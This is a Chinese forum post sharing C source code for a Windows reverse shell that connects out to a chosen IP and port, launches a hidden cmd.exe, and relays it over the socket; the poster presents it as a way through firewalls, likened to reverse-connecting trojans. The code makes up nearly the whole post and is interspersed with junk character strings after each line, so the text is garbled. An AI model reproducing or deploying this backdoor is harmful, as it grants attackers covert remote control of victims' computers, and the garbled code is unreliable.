社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 4183阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 t`y*oRy  
UAq%Y8KA  
/* ============================== ?sm@lDZ\  
Rebound port in Windows NT S2*ER  
By wind,2006/7 [.`%]Z(  
===============================*/ q^k]e{PD  
#include  @M E .  
#include N_Y*Z`Xb  
K{x FhdW  
#pragma comment(lib,"wsock32.lib") ~^R?HS  
C ^hCT  
void OutputShell(); DRw;.it2  
SOCKET sClient; Oe[qfsdW  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; jJDY l([  
s55t>t,g6  
void main(int argc,char **argv) xRU ~h Q  
{ 4%L-3Ij  
WSADATA stWsaData; ^HasT4M+x  
int nRet; l`A4)8Y@  
SOCKADDR_IN stSaiClient,stSaiServer; Lb} cjI:  
,dO$R.h  
if(argc != 3) )mbRG9P  
{ Z 2x%  
printf("Useage:\n\rRebound DestIP DestPort\n"); :u$+lq  
return; Qo;#}%}^^  
} )Mj $/  
eX@7f!uz  
WSAStartup(MAKEWORD(2,2),&stWsaData); J \V.J/  
GxR, 3  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); {BlKVsQ  
Ud8*yB  
stSaiClient.sin_family = AF_INET; ,@'M'S  
stSaiClient.sin_port = htons(0); xFY< ns  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ~1yMw.04V  
wuQ>|\Zs  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) XgmblNp1  
{ bb^$]lT'  
printf("Bind Socket Failed!\n"); P.;S6i n  
return; e;/C}sK:  
} ^3:DeZf!u  
|rbl sL2?Z  
stSaiServer.sin_family = AF_INET; ax)j$  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); :9Vd=M6,  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); +e6c4Tw/  
;dh8|ujh  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) \O7Vo<B&D  
{ "<J%@  
printf("Connect Error!"); K9J"Q4pEC  
return;  j{;RuNt  
} k-LT'>CWl  
OutputShell(); M"t=0[0DM:  
} i!=2 8|_  
1xkU;no  
void OutputShell() #1C~i}J1  
{ Q$(0Nx<  
char szBuff[1024]; n*oa J<o%  
SECURITY_ATTRIBUTES stSecurityAttributes; EdPN=  
OSVERSIONINFO stOsversionInfo; F|DKp[<]8  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ]U,K]y[Bj  
STARTUPINFO stStartupInfo; oe5.tkc  
char *szShell; h1 D#,  
PROCESS_INFORMATION stProcessInformation; (BA2   
unsigned long lBytesRead; gAY%VFBP0  
dTV:/QM  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); O(( kv|X4  
`=0J:  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Yv`8{_8L  
stSecurityAttributes.lpSecurityDescriptor = 0; $qx&\@O  
stSecurityAttributes.bInheritHandle = TRUE; Sl{nS1q  
-*K!JC-  
dLSnhZ  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ffQ%GV_  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); BU="BB/[  
 yq ?_#r  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); .2b) rKo~  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; GD$jP?  
stStartupInfo.wShowWindow = SW_HIDE; Z-{!Z;T)z  
stStartupInfo.hStdInput = hReadPipe; (&6C,O~n^.  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; /I' n]  
Y,bw:vX  
GetVersionEx(&stOsversionInfo); lK? Z38  
#f'(8JjY  
switch(stOsversionInfo.dwPlatformId) Y"uFlHN&i  
{ $J |oVVct  
case 1: D k'EKT-  
szShell = "command.com"; a* pZcv<  
break; %acy%Sy  
default: B=;pyhc  
szShell = "cmd.exe"; G@) I  
break; )6?.; B  
} !_`T8pJ`  
vl@t4\@3  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 1 ]@}+H  
w jmZ`UMz  
send(sClient,szMsg,77,0); bw7!MAXd  
while(1) %;0w2W  
{ fxDY:l  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 3_atv'I  
if(lBytesRead) 4Pljyq:  
{ X*~NE\  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); gKZ{O  
send(sClient,szBuff,lBytesRead,0); +fhyw{  
} |7Q8WjCQ{m  
else RZfC ?  
{ _^RN C)ol  
lBytesRead=recv(sClient,szBuff,1024,0); J{mP5<8>b  
if(lBytesRead<=0) break; ^gFjm~2I  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 7F-b/AdVq  
} g)'tr '  
} K.2M=Q  
S iw9_c  
return; r2T?LO0N{  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八